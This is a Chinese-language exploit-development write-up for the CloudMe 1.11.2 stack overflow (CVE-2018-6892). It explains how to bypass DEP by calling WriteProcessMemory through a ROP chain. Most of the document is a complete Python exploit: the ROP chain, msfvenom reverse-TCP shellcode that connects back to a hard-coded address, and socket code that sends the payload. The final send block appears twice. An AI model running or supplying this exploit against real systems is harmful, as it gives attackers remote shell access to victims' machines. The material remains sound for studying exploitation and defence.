描述
- 软件名称:CloudMe 1.11.2
-
CVE编号:CVE-2018-6892
-
软件功能:文件同步
-
漏洞类型:栈溢出任意代码执行
-
利用防护:软件没有编译任何防御,手动开启DEP防护练习使用WirteProcessMemory API方式绕过DEP
- 试验机Windows版本:Windows 10 (32bit) 1803 (Home)
本例中gadget非常丰富,每个gadget都很直观。使用pushad方式会更简便,并且模块导入表中导入了VirtualProtect API,使用导入表中的API不会失去利用兼容性。本文为练习目的所以使用了较复杂的方式去开发利用。
offset
* eip offset = 1052
- esp offest = 1056
badchars
* 没有任何坏字符
ROP编写的三个主要准备工作
第一个准备:API地址
我们用来编写RoP的模块是Qt5Gui。我们可以在Qt5Gui模块的导入表中寻找一个与WirteProcessMemory API相同模块(kernel32.dll)的API去加减一个偏移去得到WirteProcessMemory的地址。这样做可能会失去利用的兼容性,因为kernel32.dll是windows中的模块,它会根据windows版本的不同而变化。
使用!dh -import Qt5Gui
查看Qt5Gui从kernel32中导入的导入表:
在上图中可以发现VirtualProtect可以被利用用于绕过DEP,但是我们的目的是练习WirteProcessMemory API用来绕过DEP的方式,我们选择它加上一个偏移得到WirteProcessMemroy的地址。
使用ida查看kernel32.dll中WirteProcessMemory和VirtualProtect的地址:(无论kernel32被加载哪个地址,他们的偏移都是固定的,所以ida和windbg的地址不一样并不影响偏移的计算)
WirteProcessMemory位于VirtualProtect正向0x20340偏移位置:
验证偏移位置是否正确:
如下图VirtualProtect在导入表中的地址为0x6210b0b0,将它解引用后加上0x20340即可得到WirteProcessMemory的调用地址,这需要在RoP中动态计算。
第二个准备:WirteProcessMemory需要一个可写的内存空间
如下图,使用!dh -s cloudme
找一个可写的地址为WirteProcessMemory的*lpNumberOfBytesWritten
参数做准备,因为该API需要一个指针去存放它的返回信息,并且若地址不可写会导致API调用失败。我们可以选择用RoP动态计算栈中的地址和使用数据段固定的可写地址两种方式,但第二种明显更简便。
使用!address
验证可写地址(PAGE_READWRITE):
DEP机制会让shellcode不能在栈中运行,这打击了传统的在栈中运行shellcode的方式,DEP标记了栈空间为不可执行。
使用WirteProcessMemory去绕过DEP的核心原理就是利用WirteProcessMemory可以复制一块内存中的数据写入到进程中的代码段(.text
)中的特性,通常代码段的权限是只有可读和可执行权限的,而WirteProcessMemory可以忽略代码段的不可写权限将我们的shellcode复制进去,并且在执行完之后保持复制之前的权限(可读、可执行、不可写)。所以我们只需要找一个可执行的新地址为存放shellcode,并将这个地址传递给lpBaseAddress参数即可。
在windbg中使用!dh -s Qt5Gui
寻找一个可执行和可读的地址去存放调用WirteProcessMemory后使shellcode可执行的代码洞:
PoC
下列代码的主要功能是使用RoP去构建WirteProcessMemory的调用结构,它被存放在取的esp的值时esp正向偏移0x100位置,rop代码的大小是0xe8,而shellcode在栈中的(复制前的)位置位于调用结构的0x44位置,调用结构一共4 * 7个字节,在shellcode与调用结构之间填充了一些“0x90”字节为了方便计算放置shellcode时的偏移。edx始终保存了调用结构的地址,将edx减去4 * 6个字节可以指向WirteProcessMemory的调用地址,最后一条gadget将esp指向这个地址,使用一条ret指令即可完成调用并且传递参数,在API返回时将直接运行具有可执行权限的shellcode。
调用结构如下:
条目名称或功能 | 条目值 |
---|---|
call address of WriteProcessMemory function | 由rop动态解引用导入表中的地址 |
返回地址,复制后可执行的shellcode地址 | 0x61e8dfc0,可执行的代码洞 |
hProcess,要写入数据的进程handle,-1表示当前进程 | -1 (0xffffffff) |
lpBaseAddress,需要写入的目的地址 | 0x61e8dfc0,可执行的代码洞 |
lpBuffer,复制的源地址,栈空间中的shellcode地址 | 由rop动态计算,距离取得esp值时调用结构的+0x44位置 |
nSize,复制的大小,shellcode的大小 | 0x190 (0n400) |
[out] lpNumbelOfBytesWritten | 0x61f8c000,可写的地址 |
#! /bin/python3
# cloudme 1.11.2
import os
import sys
import socket
from struct import pack
host = "127.0.0.1"
port = 8888
buffer = b''
# offset : eip = 1052, esp = 1056
# badchars : none
offsetOfEIP = b"B" * 1052
rop = b""
# Using pushups instruction must ensure a 16-byte alignment.
#rop += pack("<L", 0x61f314a3) # pop ecx ; ret ; (1 found)
# A address in the data segment it is writable.
#rop += pack("<L", 0x00659000)
### Constructing a Call_struct for calling WirteProcessMemory
## Wirte the address of WirteProcessMemory API
rop += pack("<L", 0x61e9806b) # push esp ; pop ebx ; pop esi ; ret ; (1 found)
rop += pack("<L", 0xffffffff) ## junk for pop esi
rop += pack("<L", 0x61f80db6) # pop eax ; ret ; (1 found)
# The address of VirtualProtect in improt table.
rop += pack("<L", 0x6210b0b0)
# Dereferencing the address of VirtualProtect in import table.
rop += pack("<L", 0x61efb705) # mov eax, dword [eax] ; ret ; (1 found)
rop += pack("<L", 0x61f314a3) # pop ecx ; ret ; (1 found)
rop += pack("<L", 0x00020340)
# The VirtualProtect address in kernel32 add 0x20340 to get the WirteProcessMemroy call_address
rop += pack("<L", 0x61b91c1e) # add eax, ecx ; ret ; (1 found)
# Saving the address of WriteProcessMemory
rop += pack("<L", 0x61b53a01) # xchg eax, edi ; ret ; (1 found)
# Retrieve the previously saved content of the ESP registier.
rop += pack("<L", 0x61ec89de) # xchg eax, ebx ; ret ; (1 found)
rop += pack("<L", 0x61f314a3) # pop ecx ; ret ; (1 found)
rop += pack("<L", 0x00000100) ## call struct == esp + 0x100
rop += pack("<L", 0x61b91c1e) # add eax, ecx ; ret ; (1 found)
rop += pack("<L", 0x61f2735a) # xchg eax, edx ; ret ; (1 found)
rop += pack("<L", 0x61b53a01) # xchg eax, edi ; ret ; (1 found)
rop += pack("<L", 0x61f2b1ed) # mov dword [edx], eax ; ret ; (1 found)
## Wirte return address == lpBaseAddress
rop += pack("<L", 0x61eab311) # mov eax, edx ; ret ; (1 found)
rop += pack("<L", 0x61d6ecf3) # add eax, 0x04 ; ret ; (1 found)
rop += pack("<L", 0x61f2735a) # xchg eax, edx ; ret ; (1 found)
rop += pack("<L", 0x61f80db6) # pop eax ; ret ; (1 found)
rop += pack("<L", 0x61e8dfc0) ## A address executable and readable, code cave
rop += pack("<L", 0x61f2b1ed) # mov dword [edx], eax ; ret ; (1 found)
## Wirte HProcess
rop += pack("<L", 0x61eab311) # mov eax, edx ; ret ; (1 found)
rop += pack("<L", 0x61d6ecf3) # add eax, 0x04 ; ret ; (1 found)
rop += pack("<L", 0x61f2735a) # xchg eax, edx ; ret ; (1 found)
rop += pack("<L", 0x61f80db6) # pop eax ; ret ; (1 found)
rop += pack("<L", 0xffffffff) ## -1, current process
rop += pack("<L", 0x61f2b1ed) # mov dword [edx], eax ; ret ; (1 found)
## Wirte lpBaseAddress
rop += pack("<L", 0x61eab311) # mov eax, edx ; ret ; (1 found)
rop += pack("<L", 0x61d6ecf3) # add eax, 0x04 ; ret ; (1 found)
rop += pack("<L", 0x61f2735a) # xchg eax, edx ; ret ; (1 found)
rop += pack("<L", 0x61f80db6) # pop eax ; ret ; (1 found)
rop += pack("<L", 0x61e8dfc0) ## A address executable and readable, code cave
rop += pack("<L", 0x61f2b1ed) # mov dword [edx], eax ; ret ; (1 found)
## Wirte lpBuffer == shellcode address
rop += pack("<L", 0x61eab311) # mov eax, edx ; ret ; (1 found)
rop += pack("<L", 0x61d6ecf3) # add eax, 0x04 ; ret ; (1 found)
rop += pack("<L", 0x61f2735a) # xchg eax, edx ; ret ; (1 found)
rop += pack("<L", 0x61f314a3) # pop ecx ; ret ; (1 found)
rop += pack("<L", 0x00000040) ## shellcode address == call_strcut + 0x40 + 0x04 * 4
rop += pack("<L", 0x61b91c1e) # add eax, ecx ; ret ; (1 found)
rop += pack("<L", 0x61f2b1ed) # mov dword [edx], eax ; ret ; (1 found)
## nSize = shellcode size
rop += pack("<L", 0x61eab311) # mov eax, edx ; ret ; (1 found)
rop += pack("<L", 0x61d6ecf3) # add eax, 0x04 ; ret ; (1 found)
rop += pack("<L", 0x61f2735a) # xchg eax, edx ; ret ; (1 found)
rop += pack("<L", 0x61f80db6) # pop eax ; ret ; (1 found)
rop += pack("<L", 0x00000190) ## 0n400
rop += pack("<L", 0x61f2b1ed) # mov dword [edx], eax ; ret ; (1 found)
## *lpNumberOfBytesWrittten
rop += pack("<L", 0x61eab311) # mov eax, edx ; ret ; (1 found)
rop += pack("<L", 0x61d6ecf3) # add eax, 0x04 ; ret ; (1 found)
rop += pack("<L", 0x61f2735a) # xchg eax, edx ; ret ; (1 found)
rop += pack("<L", 0x61f80db6) # pop eax ; ret ; (1 found)
rop += pack("<L", 0x61f8c000) ## A address writable and readable, data segment
rop += pack("<L", 0x61f2b1ed) # mov dword [edx], eax ; ret ; (1 found)
### call WirteProcessMemory
rop += pack("<L", 0x61eab311) # mov eax, edx ; ret ; (1 found)
rop += pack("<L", 0x61f314a3) # pop ecx ; ret ; (1 found)
rop += pack("<L", 0xffffffe8) ## 0n4*0n6 = 0n24 = 0x18
# Call_struct sub 0x18 bytes
rop += pack("<L", 0x61b91c1e) # add eax, ecx ; ret ; (1 found)
rop += pack("<L", 0x61ecb23e) # push eax ; pop esp ; rep ret ; (1 found)
buffer = offsetOfEIP + rop
# bash msfvenom -p windows/shell_reverse_tcp LHOST=192.168.31.3 LPORT=443 -f python -v shellcode
# Payload size: 324 bytes
shellcode = b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\xc0\xa8\x1f\x03\x68\x02\x00\x01"
shellcode += b"\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2"
shellcode += b"\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"
# buffer + rop size = 1284 bytes (0x504)
# rop size = 232 bytes (0xe8)
print(len(rop))
print(hex(len(rop)))
offsetOfShellcode = b"\x90" * ((0x140 + 4 * 4) + 0x10 - 0xe8)
buffer += offsetOfShellcode + shellcode
buffer += b"A" * (5000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buffer)
s.close()
# buffer + rop size = 1284 bytes (0x504)
# rop size = 232 bytes (0xe8)
print(len(rop))
print(hex(len(rop)))
offsetOfShellcode = b"\x90" * ((0x140 + 4 * 4) + 0x10 - 0xe8)
buffer += offsetOfShellcode + shellcode
buffer += b"A" * (5000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buffer)
s.close()
(请勿用作非法目的)
(转载和使用任意内容请注明来源)